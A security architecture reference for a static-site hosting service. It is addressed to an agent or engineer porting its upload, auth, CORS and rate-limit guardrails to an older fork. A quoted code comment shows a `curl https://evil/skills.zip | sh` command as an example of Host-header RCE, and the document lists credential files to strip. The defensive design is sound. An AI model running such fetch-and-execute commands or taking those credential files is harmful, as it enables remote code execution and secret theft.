# SIMPLE HOST — SECURITY ARCHITECTURE (agent-readable reference) Audience: an AI agent (or engineer) hardening an OLDER fork of simple-host to match this deployment. Every guardrail below is extracted verbatim from the Go source of the current build. Values are exact. Where the codebase explains its own reasoning in a comment, that comment is quoted so you can preserve intent, not just the number. Canonical human-rendered version: https://simple-host-security.simple-host.app Companion machine specs on the live platform: /openapi.json and /llms.txt -------------------------------------------------------------------------------- 0. WHAT SIMPLE HOST IS, AND THE ONE INVARIANT EVERYTHING SERVES -------------------------------------------------------------------------------- One Go binary + one Postgres + one directory on disk, behind a TLS-terminating nginx that fronts every `*.simple-host.app` subdomain. No CDN, no per-site processes, no object store, no build pipeline. It runs on ~1 CPU / ~1 GB RAM. THE CORE SAFETY INVARIANT: user uploads are DATA, NEVER CODE. There is no interpreter, no SSR runtime, no plugin loader, no per-site process. An uploaded file is written to disk and later returned as bytes with a content type — a hostile upload has no more power than an email attachment sitting in a folder. Every guardrail below exists to keep that invariant true (nothing executes server-side) and to bound abuse of the few dynamic surfaces that do exist (per-site state, collections, AI generate). Everything the security model relies on lives in these files: internal/tarball/{extract.go,sanitize.go,validate.go} — upload validation internal/storage/disk.go — versioned disk jail internal/auth/middleware.go — X-API-Key auth internal/handler/site.go — upload/serve/state/origin internal/handler/{stateops,collections,viewauth}.go — backend + view-locks internal/handler/{ratelimit,cors}.go — perimeter internal/handler/user.go — magic-link auth internal/handler/generate.go — AI create (sandboxed) internal/config/config.go, cmd/server/main.go — config + routing db/schema.sql — data model -------------------------------------------------------------------------------- 1. THREAT MODEL (who is trusted with what) -------------------------------------------------------------------------------- T1 Deploy & manage sites — per-user API KEY (32 random bytes, hex). Authenticates the owner of every upload, rollback, delete. T2 Admin — a single ADMIN_API_KEY in the root-owned env file (/etc/simple-host.env). Never in code, config, or the repo. No default in source. T3 Viewing sites — PUBLIC by default. Any site can be made private with a password (view-lock): a signed cookie gates the page and its data. T4 Per-site state/collections — ORIGIN-CHECKED only. Browser pages hold no API key, so the only gate is an Origin/Referer check. This is ATTRIBUTION-grade, NOT authentication-grade: a real browser cannot forge it cross-site, but a non-browser client (curl) can. Treat state as readable/writable by anyone who knows the site name. NEVER put secrets in it. T5 Create with AI — sign-in-gated AND rate-limited, per user and per IP. Runs off-box; no model credentials on any served page. T6 DB & secrets — Postgres creds + keys live in the root-owned env file, read at boot by the non-root service user. Not reachable from any served page. Sites are public on the internet. The protection is not secrecy — it is that uploads are static, owned, versioned, and revertible. -------------------------------------------------------------------------------- 2. UPLOAD PIPELINE & GUARDRAILS (the heart of the security model) -------------------------------------------------------------------------------- There are TWO deploy paths and they share ONE validation core, on purpose, so the guards can never drift apart: - Archive path: POST/PUT /v1/sites/{name} — body is a .tar.gz or .zip - JSON path: POST/PUT /v1/sites/{name}/files — body is {"files":{path:contents}} Archive → tarball.Extract(); JSON → tarball.SanitizeFiles(). BOTH then run tarball.ValidateExtensions() and storage.WriteFiles(). SanitizeFiles is documented as using "the SAME guards as archive extraction ... with no parallel logic to drift." Request-body caps (http.MaxBytesReader, enforced before parsing): - Upload (archive or JSON files): 100 MB (maxSiteArchiveSize = 100 << 20) - Per-site state PUT/PATCH: 1 MB (maxSiteStateSize = 1 << 20) - Collection item POST: 64 KB (maxCollectionItemSize = 64*1024) - view-password / small JSON: 8 KB / 4 KB 2.1 PATH-TRAVERSAL DEFENSE — safeRelPath() (tarball/extract.go) Single traversal guard for extraction; storage.WriteFiles re-checks independently (defense in depth — the traversal check exists in TWO places). A path is REJECTED unless ALL hold: - not empty, length <= 1024 (maxPathLen) - no byte < 0x20 (control chars, incl. NUL and newline) - not absolute (filepath.IsAbs == false) - after filepath.Clean: not ".", not "..", no "../" prefix, no "/../" inside - depth (slash count + 1) <= 32 (maxPathDepth) Leading "./" and "/" are stripped first (normalizePath). DIFFERENCE BY DESIGN: in the archive path an unsafe entry is SKIPPED; in the JSON path (caller typed the path explicitly) it is a HARD ERROR, to surface the mistake. Two input keys that normalize to the same path → hard error (reject, never silently clobber). 2.2 SIZE / COUNT CAPS (bound disk + inode + memory) maxFileSize = 100 MB per single file maxTotalUncompressedSize = 500 MB sum of all extracted files maxEntryCount = 50,000 files per archive The entry cap defends against many-tiny-files INODE EXHAUSTION, "which the byte caps do not catch." 2.3 DECOMPRESSION-BOMB DEFENSE (readCapped) Limits are enforced on BYTES ACTUALLY READ, never on any self-declared size. For zip specifically, the code refuses to trust file.UncompressedSize64: // Bound by bytes ACTUALLY read, never the zip's self-declared // UncompressedSize64 (attacker-controlled — a decompression-bomb vector). readCapped reads min(maxFileSize, remaining total budget) + 1 byte; if the extra byte materializes, the entry is over budget and the upload is rejected. 2.4 FILE-TYPE FILTER (no symlinks, no devices) ONLY regular files are extracted. - tar: only tar.TypeReg / tar.TypeRegA. Symlinks, hardlinks, device nodes, FIFOs are refused "rather than silently coerced into empty files." - zip: only entries where file.Mode().IsRegular() — which "crucially" skips symlink entries (they carry a non-regular mode bit). This kills symlink-escape and special-file attacks at extraction time. 2.5 SECRET-FILE STRIPPING — isSecretPath() (silently dropped, not rejected) Credential/VCS files are removed so a deploy that accidentally includes one still succeeds MINUS the secret (like .DS_Store): dirs anywhere in path: .git .hg .svn .bzr .ssh exact basenames: .htpasswd .htaccess .npmrc .netrc id_rsa id_ed25519 .git-credentials .env any .env.* EXCEPT .env.example / .env.sample / .env.template Junk also dropped (shouldSkip): .DS_Store and ._* (AppleDouble). 2.6 EXTENSION DENYLIST — ValidateExtensions() (blockedExtensions) Blocks (case-insensitive): .sh .bash .zsh .fish .bat .cmd .ps1 .py .pyc .rb .pl .go .php IMPORTANT INTENT — this is a friendliness check, NOT a safety control: // Everything else passes — including binary downloads (.exe, .dmg, .jar, // .deb, .apk ...). Static serving means nothing executes server-side; // downloaded binaries run on the visitor's machine, downstream of scope. // Source-script extensions stay blocked only as a guardrail against // accidental "I uploaded my source tree instead of the build output". So do NOT over-rely on the denylist; the real safety comes from 2.4 + the no-execution invariant. 2.7 INTEGRITY CHECK (optional but constant-time) If the caller sends X-Content-Digest (SHA-256 of the raw archive bytes), the server recomputes and compares it with subtle.ConstantTimeCompare. Each stored version records archive_sha256. 2.8 ATOMIC, VERSIONED WRITE-TO-DISK — storage/disk.go Layout: //v1 ... vN and a live //current - Each upload is a NEW immutable version N (append-only). WriteFiles builds into /.vN.tmp then os.Rename to /vN (atomic promote). - UpdateCurrent copies vN into .current.tmp, then RemoveAll(current) + Rename — so the outage window while `current` is absent is two fast metadata ops, not the full copy duration; the previous version keeps serving until the swap. - WriteFiles independently re-validates every relative path (Clean, reject "..", "../", absolute) — the second traversal check. - Rollback = repoint active version to an older vN (PUT .../active-version). Per-version delete is NOT exposed; whole-site delete is. - DeleteSite hard-validates the site name (IsLocal, Clean==name, no slashes) before any RemoveAll. -------------------------------------------------------------------------------- 3. SITE IDENTITY & ISOLATION -------------------------------------------------------------------------------- Site name is the load-bearing input: it becomes a SUBDOMAIN, an on-disk DIRECTORY, and a line in the cortex-share DEPLOY QUEUE. So it is tightly bound. 3.1 NAME SHAPE — validSiteName (sitename.go) ^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$ A single DNS label: 1–63 chars, lowercase alnum + hyphen, no leading/trailing hyphen. Enforced on BOTH create and update (every existing name already passes, so it is safe to enforce on update too). 3.2 RESERVED NAMES — reservedSiteNames (CREATE ONLY) simple-host jot-webhook www api admin app static assets internal localhost Blocks names colliding with platform infra / critical service domains. // create-only: existing sites must always remain re-deployable even if a // name later lands on the reserved list. (i.e. updateSite never consults this list — revenue-facing sites that share a prefix must stay deployable.) 3.3 DEPLOY-QUEUE INJECTION DEFENSE (appendToFile) When DEPLOY_SCRIPT is set, an activated site name is appended to /.deploy-queue, consumed by a ROOT deploy-watcher. Names containing \n or \r are rejected: // a newline would inject an extra line into the deploy queue that the root // deploy-watcher consumes. Site names are already charset-validated // upstream, but never rely solely on that. Defense-in-depth against a root-privileged consumer. 3.4 PER-USER QUOTA — maxSitesPerUser = 100 (non-admin). Checked BEFORE reading the upload body (cheap reject). Admins are exempt. 3.5 STATIC SERVING IS JAILED PER SITE. Requests are path-checked and rooted at that one site's current/ directory; directory listings are disabled (a dir without an index serves nothing). One site cannot read another's files. -------------------------------------------------------------------------------- 4. THE "LITTLE BACKEND" — per-site state & collections, and the ORIGIN gate -------------------------------------------------------------------------------- Two dynamic stores, both PUBLIC-by-design, both gated identically (Origin + view-lock + rate limit), both backed by the single Postgres. 4.1 PER-SITE JSON STATE /v1/sites/{site}/state (GET/PUT/PATCH/OPTIONS) - One shared JSON document per site. Cap 1 MB (enforced on the request body AND on the resulting document after a PATCH). - GET returns an ETag; If-None-Match → 304 for cheap polling. - PATCH applies ATOMIC ops inside a row-locked transaction (GetSiteStateForUpdate → SELECT FOR UPDATE), so concurrent writers serialize conflict-free with no optimistic-retry CPU. Max 100 ops/request (maxStateOps). Ops: set, inc (default by 1), append, remove, removeWhere. removeWhere with an empty match set deletes NOTHING (guarded), and PATCH requires an object root (array/scalar root → 409). 4.2 APPEND-ONLY COLLECTIONS /v1/sites/{site}/collections/{name} (GET/POST/OPTIONS) - For lists that grow large / take heavy concurrent appends (comments, RSVPs, guestbooks). One INSERT per append (no document rewrite); reads paginated. - Collection name: ^[a-zA-Z0-9_-]{1,64}$. Item cap 64 KB. Page default 50, max 200. 4.3 THE ORIGIN GATE — authorizeStateOrigin() (this is the crux — port it exactly) TRUST MODEL (quoted): site state is PUBLIC per-site scratch storage; browser pages hold no API key, so the only possible gate is the Origin/Referer check, "which a real browser cannot forge across sites but a non-browser client (curl) can. ... NO confidentiality or integrity guarantee — do not store secrets in it, and don't trust it for security decisions." MECHANICS: - Expected origin = "." (e.g. mysite.simple-host.app). - Read Origin header; if absent, derive scheme+host from Referer; if still empty → DENY (403). - Parse; require non-empty host; host must equal the expected origin OR be in the site's owner-configured allowed_origins → else DENY. - On allow, echo the SPECIFIC origin back (never "*"), plus Access-Control-Allow-Credentials: true (so a view-lock cookie rides along), Access-Control-Expose-Headers: ETag, Vary: Origin. ALLOWED-ORIGINS ("backend anywhere", e.g. a GitHub Pages page): PUT /v1/sites/{site}/allowed-origins (owner only) — JSON {"origins":[...]}. Each must be scheme://host with no path; stored comma-separated in sites.allowed_origins; matched case-insensitively (trailing "/" trimmed). Abuse bounded by the state rate limit + the 1 MB / 64 KB caps. NOTE the CORS split: the global permissive CORS ("*") middleware DELIBERATELY excludes any path ending in /state or containing /collections/, because those run this stricter credentialed policy and must not be double-handled. -------------------------------------------------------------------------------- 5. AUTHENTICATION & AUTHORIZATION -------------------------------------------------------------------------------- 5.1 API KEYS — auth/middleware.go - GenerateAPIKey: 32 bytes from crypto/rand, hex → 64-char key. - Header is X-API-Key ONLY. Missing key → 401 with a message that explicitly points Authorization: Bearer users at the right header (common LLM mistake). - Admin key match uses subtle.ConstantTimeCompare (no timing oracle). A match yields a REAL admin user row (ID=adminUserID, IsAdmin=true) so admin can own sites (the old synthetic ID:"admin" violated the sites.user_id FK). - Non-admin keys are looked up in users.api_key. Unknown key → 401. - RequireAdmin middleware gates admin-only routes (403 otherwise). 5.2 MAGIC-LINK / CODE SIGN-IN — user.go (no password anywhere) POST /v1/auth {email}: - Email regex-validated. Rate-limited per-IP AND per-email. - Generates a 6-digit numeric code + a random link token; stores in auth_tokens with expires_at = now + 15 min (authTokenTTL), attempts = 0. - Emails the code/link (Resend). Returns expires_in_seconds = 900. - CRUCIAL: the user row is NOT created here (quoted): "created lazily on successful verification ... identical work for every email — no DB-write side effect and no timing difference between known and unknown addresses — so it can't be used to enumerate registered users or pollute the users table with unverified addresses." POST /v1/auth/verify {email,code} or {token}: - Reject if expired or attempts >= 3 (maxCodeAttempts). - Code compared CONSTANT-TIME; a mismatch increments attempts, returns 401. - On success: create the user lazily if absent (race-safe re-fetch), mint the API key, mark the token used (single-use). Returns api_key. 5.3 OWNERSHIP — every management route resolves the site via the AUTHENTICATED user (GetSiteByUser). A non-owner gets 404 (existence not leaked). Admin can act on any site. -------------------------------------------------------------------------------- 6. VIEW-LOCKS (password-protected private sites) — viewauth.go -------------------------------------------------------------------------------- - PUT /v1/sites/{site}/view-password {password} (owner) → bcrypt hash (bcrypt.DefaultCost) stored in DB + in an in-memory cache. DELETE clears it. - nginx calls viewAuth as an auth_request subrequest on EVERY page view: unlocked site → pure memory lookup (no DB, no bcrypt) → 200; locked + no/bad cookie → 401 → nginx shows the custom password page (no WWW-Authenticate, so no native browser dialog). - On correct password (bcrypt.CompareHashAndPassword), set a cookie shview_ whose value is an HMAC-signed "." token — so bcrypt NEVER runs again after first unlock; later checks are constant-time HMAC (hmac.Equal). TTL 7 days. Cookie is HttpOnly, Secure, SameSite=Lax, and set DOMAIN-WIDE so it also reaches the apex state API. - The HMAC secret is derived from the admin key, not stored separately. - CLOSING THE "KV GAP": state + collections both call viewSessionOK, so locking a PAGE also locks its DATA — a private page's state/collections are only reachable with a valid view cookie. -------------------------------------------------------------------------------- 7. PERIMETER — CORS, headers, hardening, rate limits, RCE defense -------------------------------------------------------------------------------- 7.1 CORS (cors.go) — management API is open to Access-Control-Allow-Origin "*". SAFE because auth is a HEADER (X-API-Key), not a cookie: "browsers never attach it ambiently, so there is no CSRF surface — a cross-origin page can only succeed if it already holds a valid key." No Allow-Credentials on this path (so "*" is spec-legal). State/collections are excluded (see 4.3). 7.2 SECURITY HEADERS (ratelimit.go: SecurityHeaders) — sets X-Content-Type-Options: nosniff on every response. It DELIBERATELY does not set X-Frame-Options / HSTS / Referrer-Policy here, because the fronting TLS proxy already sets those at the edge and re-setting them produced conflicting duplicate headers (which browsers then ignore, incl. a weaker HSTS shadowing the proxy's). The admin UI's CSP (frame-ancestors 'none') is applied separately in ui.go. 7.3 RATE LIMITING (ratelimit.go) — in-memory token bucket, per key, with a cleanup goroutine that evicts idle full buckets (unbounded-map defense). Client IP taken from X-Forwarded-For left-most (behind the trusted nginx), else RemoteAddr. 429 carries Retry-After: 60. Buckets by area: uploads (POST/PUT site): burst 30, +0.1/s (~6/min) state writes (PUT/PATCH): burst 60, +1/s auth per-IP: burst 20, +0.2/s (~12/min) auth per-email: burst 5, +0.02/s (~1.2/min) [mail-bomb/grind] generate per-IP: burst 20, +1 / 12s (~5/min) generate per-user: burst 30, +1 / 10s (~6/min) generate status poll: burst 240, +4/s (polling is cheap) 7.4 INSTALL-SCRIPT HOST-HEADER RCE DEFENSE (ui.go) — /install.sh is piped into `sh` by users. Its download base URL is the server-configured canonical PublicBaseURL and is DELIBERATELY NOT derived from the request Host header: // reflecting an attacker-controlled Host header would let a crafted request // produce a `curl https://evil/skills.zip | sh` (remote code execution on // the victim). Port this: never reflect Host into a script that will be executed. -------------------------------------------------------------------------------- 8. CREATE-WITH-AI SANDBOX — generate.go -------------------------------------------------------------------------------- /v1/generate (POST) + /v1/generate/status (GET), both sign-in-gated (X-API-Key) and rate-limited per-IP and per-user (7.3). Disabled unless an AI backend is configured. Two backends: (a) PREFERRED: proxy each turn to a separate off-box AGENT SERVER (AGENT_SERVER_URL). The call carries a shared secret (X-Agent-Secret = AGENT_SHARED_SECRET) that both sides must match, plus the user's key to bind the job to its owner. The agent runs with its built-in file/shell tools DISABLED — only a scoped `deploy_site` tool — so a prompt-injected page cannot run commands or exfiltrate keys. Work is a BACKGROUND JOB (returns a job id; client polls /status) so no request waits out a proxy timeout. The platform stores NO model credentials on any served surface. (b) FALLBACK: call the Anthropic Messages API directly (metered), default model claude-haiku-4-5-20251001. Preview runs in a sandboxed, opaque-origin iframe; publish goes through the same authenticated files API. Input caps: request body 32 MB; <=60 messages, <=6000 chars each; current HTML <=200 KB; <=6 attachments, <=18 MB total, text attachments <=100k chars. -------------------------------------------------------------------------------- 9. DATA MODEL (db/schema.sql) — security-relevant columns -------------------------------------------------------------------------------- users(id UUID pk, username UNIQUE, api_key UNIQUE, is_admin bool, created_at) -- api_key stored as-is (64-char hex); compared constant-time in mw. sites(id UUID pk, user_id FK->users ON DELETE CASCADE, name UNIQUE, active_version int, site_url, expires_at NULL, allowed_origins TEXT /*comma-separated*/, created_at, updated_at) -- expires_at NULL = permanent; set for ephemeral preview sites. versions(id, site_id FK CASCADE, version_number, disk_path, status, archive_sha256 default '', created_at, UNIQUE(site_id,version_number)) auth_tokens(id, email, code, link_token UNIQUE, expires_at, used_at NULL, attempts default 0, created_at) -- single-use, 15-min, 3-attempt. No migrations framework — schema applied by hand (idempotent ALTER notes in file). PREVIEW/EPHEMERAL SITES: accounts listed in PREVIEW_ACCOUNTS get sites with expires_at = now + PREVIEW_TTL_HOURS (default 48h); a background sweep deletes expired sites (DB row + disk). Everyone else's sites are permanent. -------------------------------------------------------------------------------- 10. PORTING CHECKLIST — what an OLDER fork most likely LACKS (prioritized) -------------------------------------------------------------------------------- Verify each against your fork; the ones near the top are the real safety controls, the ones lower down are hardening/quality. [1] SYMLINK / SPECIAL-FILE REJECTION at extraction (2.4). If your fork extracts non-regular entries, it is symlink-escape-able. HIGHEST PRIORITY. [2] DECOMPRESSION-BOMB defense (2.3): enforce on bytes-read, never on the archive's declared uncompressed size. Check both tar and zip paths. [3] PATH TRAVERSAL in BOTH places (2.1 + 2.8): safeRelPath at extract AND a second independent check in WriteFiles. Reject "..", absolute, control chars. [4] SIZE/COUNT CAPS (2.2): per-file 100MB, total 500MB, entry count 50k (inode-exhaustion), plus request-body MaxBytesReader caps. [5] ORIGIN GATE on state/collections (4.3) done right: derive from Origin then Referer, echo specific origin (never "*") with Allow-Credentials, and make the global "*" CORS EXCLUDE these paths. Understand it is attribution-grade. [6] SECRET-FILE STRIPPING (2.5): drop .env/.git/id_rsa/... so uploads can't accidentally publish credentials. [7] CONSTANT-TIME comparisons: admin key, sign-in code, view cookie, digest. [8] MAGIC-LINK auth hygiene (5.2): lazy user creation (enumeration + timing), 15-min / single-use / 3-attempt tokens, per-email + per-IP limits. [9] VIEW-LOCK also gates STATE/COLLECTIONS (6, the "KV gap"), and uses bcrypt-once-then-HMAC-cookie. [10] DEPLOY-QUEUE newline injection (3.3) if you feed a root consumer; RESERVED names on create (3.2); DNS-label name shape (3.1). [11] INSTALL-SCRIPT / any generated-script URL must use a configured base URL, never a reflected Host header (7.4). [12] AI-generate: sign-in + dual rate limit, off-box agent with ONLY a deploy_site tool, shared-secret, background job, sandboxed preview (8). [13] Header hygiene: nosniff; do NOT duplicate proxy-set headers (7.2). [14] Rate-limit table (7.3) and per-user site quota (3.4). [15] Atomic version promote + current swap (2.8); append-only immutable versions; admin as a real user row, not a synthetic id (5.1). -------------------------------------------------------------------------------- 11. EXACT CONSTANTS (single source of truth for porting) -------------------------------------------------------------------------------- maxSiteArchiveSize 100 MB site.go maxSiteStateSize 1 MB site.go maxSitesPerUser 100 site.go maxStateOps 100 stateops.go maxCollectionItemSize 64 KB collections.go collection page 50 / max 200 collections.go validCollectionName ^[a-zA-Z0-9_-]{1,64}$ collections.go maxFileSize 100 MB tarball/extract.go maxTotalUncompressedSize 500 MB tarball/extract.go maxEntryCount 50,000 tarball/extract.go maxPathDepth 32 tarball/extract.go maxPathLen 1024 tarball/extract.go blockedExtensions .sh .bash .zsh .fish .bat .cmd .ps1 .py .pyc .rb .pl .go .php validSiteName ^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$ sitename.go reservedSiteNames simple-host jot-webhook www api admin app static assets internal localhost authTokenTTL 15 min user.go maxCodeAttempts 3 user.go view cookie TTL 7 days viewauth.go API key 32 bytes → 64 hex auth/middleware.go generate: messages<=60, chars<=6000/msg, HTML<=200KB, attach<=6/18MB, body<=32MB -------------------------------------------------------------------------------- 12. VERBATIM SECURITY COMMENTS (preserve the intent, not just the code) -------------------------------------------------------------------------------- [decompression bomb — tarball/extract.go] "Bound by bytes ACTUALLY read, never the zip's self-declared UncompressedSize64 (attacker-controlled — a decompression-bomb vector)." [extension denylist is not a safety control — tarball/validate.go] "Static serving means nothing executes server-side; downloaded binaries run on the visitor's machine, which is downstream of our scope. Source-script extensions stay blocked only as a guardrail against accidental ... deploys. They're inert on the server, so it's a friendliness check, not a safety control." [state trust model — site.go] "site state is PUBLIC per-site scratch storage ... the only possible gate is the Origin/Referer check, which a real browser cannot forge across sites but a non-browser client (curl) can ... NO confidentiality or integrity guarantee — do not store secrets in it, and don't trust it for security decisions." [CORS is safe because header-auth — cors.go] "safe to open to '*' because the API authenticates with the X-API-Key header, not cookies: browsers never attach it ambiently, so there is no CSRF surface — a cross-origin page can only succeed if it already holds a valid key." [user enumeration / timing — user.go] "The user row is NOT created here ... identical work for every email — no DB-write side effect and no timing difference between known and unknown addresses — so it can't be used to enumerate registered users." [deploy-queue newline injection — site.go] "a newline would inject an extra line into the deploy queue that the root deploy-watcher consumes. Site names are already charset-validated upstream, but never rely solely on that." [install-script Host-header RCE — ui.go] "reflecting an attacker-controlled Host header would let a crafted request produce a `curl https://evil/skills.zip | sh` (remote code execution on the victim)." END.